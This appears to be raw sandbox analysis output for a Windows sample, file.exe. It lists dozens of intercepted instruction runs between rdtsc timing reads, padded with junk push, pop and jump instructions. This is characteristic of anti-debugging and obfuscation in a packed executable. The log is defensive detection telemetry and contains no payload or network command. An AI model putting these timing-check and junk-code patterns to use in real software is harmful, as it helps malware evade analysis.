Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC83C second address: 9CC852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F3F40513671h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC852 second address: 9CC894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 jmp 00007F3F40811B66h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jg 00007F3F40811B5Ah 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3F40811B67h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC894 second address: 9CC8B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40513671h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F3F4051366Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCA26 second address: 9CCA2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCA2A second address: 9CCA34 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3F40513666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCA34 second address: 9CCA3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCFDD second address: 9CD005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3F40513666h 0x0000000a ja 00007F3F40513666h 0x00000010 jmp 00007F3F4051366Eh 0x00000015 popad 0x00000016 pushad 0x00000017 jne 00007F3F40513666h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD2D4 second address: 9CD2F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3F40811B67h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD2F4 second address: 9CD2FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD2FA second address: 9CD306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD5C6 second address: 9CD5DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jl 00007F3F40513666h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F3F40513666h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD8D3 second address: 9CD8D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDBE3 second address: 9CDC0E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3F40513666h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3F40513677h 0x00000013 jnp 00007F3F40513666h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDC0E second address: 9CDC12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDEFD second address: 9CDF02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFCC4 second address: 9CFCC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFCC8 second address: 9CFCCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D47F1 second address: 9D4814 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3F40811B64h 0x0000000b pushad 0x0000000c jl 00007F3F40811B56h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D88D5 second address: 9D88DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D88DF second address: 9D8925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3F40811B56h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F3F40811B6Bh 0x00000013 jmp 00007F3F40811B5Fh 0x00000018 jl 00007F3F40811B56h 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F3F40811B62h 0x00000028 jne 00007F3F40811B56h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7EC1 second address: 9D7EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F40513672h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c jmp 00007F3F4051366Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7EEA second address: 9D7EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7EEE second address: 9D7F07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40513671h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7F07 second address: 9D7F17 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3F40811B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7F17 second address: 9D7F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jne 00007F3F40513672h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8055 second address: 9D8061 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8061 second address: 9D806E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F3F40513666h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D806E second address: 9D8074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8074 second address: 9D808F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3F40513666h 0x00000008 jmp 00007F3F4051366Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0AAC second address: 9E0AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0AB6 second address: 9E0ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0ABA second address: 9E0AD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B64h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0AD2 second address: 9E0AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F3F40513666h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0AE0 second address: 9E0B07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B65h 0x00000007 jc 00007F3F40811B56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0B07 second address: 9E0B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F3F40513670h 0x0000000b jmp 00007F3F4051366Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0B2C second address: 9E0B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DEB75 second address: 9DEB79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DEB79 second address: 9DEBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3F40811B68h 0x0000000d jmp 00007F3F40811B5Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DECE5 second address: 9DECF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F4051366Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF12C second address: 9DF134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF134 second address: 9DF13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF13E second address: 9DF143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF143 second address: 9DF166 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40513672h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3F4051366Bh 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF2E4 second address: 9DF30B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B62h 0x00000007 push eax 0x00000008 jmp 00007F3F40811B60h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF465 second address: 9DF46A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8437 second address: 9E8441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F3F40811B56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5E28 second address: 9F5E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F4051366Eh 0x00000009 je 00007F3F40513666h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F597A second address: 9F5993 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B65h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5993 second address: 9F599F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F599F second address: 9F59AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B5Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00574 second address: A00578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00578 second address: A0057E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0057E second address: A00588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00588 second address: A0058E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02937 second address: A0293E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0293E second address: A02944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06E78 second address: A06E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3F40513666h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D9F1 second address: A0D9F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FC1D second address: A0FC3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3F40513678h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FC3B second address: A0FC3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FC3F second address: A0FC5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3F40513675h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FC5E second address: A0FC62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FC62 second address: A0FC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FC68 second address: A0FC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F3F40811B8Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FC7A second address: A0FC7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FC7E second address: A0FC97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B65h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12DE2 second address: A12DE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17B11 second address: A17B2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3F40811B5Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17B2B second address: A17B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17B2F second address: A17B33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EC8A second address: 94EC97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17F50 second address: A17F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3F40811B58h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A180D8 second address: A180E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A180E3 second address: A1810E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F3F40811B64h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 push ecx 0x00000013 jne 00007F3F40811B56h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1810E second address: A18113 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18113 second address: A18121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jo 00007F3F40811B56h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C6C9 second address: A1C6CE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36CA4 second address: A36CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007F3F40811B56h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36CB5 second address: A36CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3F40513666h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AFC6 second address: A3AFCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AFCA second address: A3AFCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AFCE second address: A3AFD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AFD4 second address: A3AFDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C2F8 second address: A4C308 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F3F40811B56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B68F second address: A4B6C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jbe 00007F3F4051366Eh 0x0000000d pushad 0x0000000e popad 0x0000000f jnc 00007F3F40513666h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3F40513674h 0x0000001c jmp 00007F3F4051366Ah 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B6C4 second address: A4B6CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B6CA second address: A4B6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B6D4 second address: A4B6DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BF1F second address: A4BF38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F40513673h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BF38 second address: A4BF45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F3F40811B5Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A503CE second address: A503D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A503D4 second address: A503F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3F40811B69h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5072A second address: A5076D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40513675h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3F4051366Ch 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 jmp 00007F3F4051366Bh 0x00000019 pop eax 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e jne 00007F3F40513668h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5076D second address: A50772 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50772 second address: A50782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50782 second address: A5078B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50A6D second address: A50A98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3F40513666h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 jmp 00007F3F40513677h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
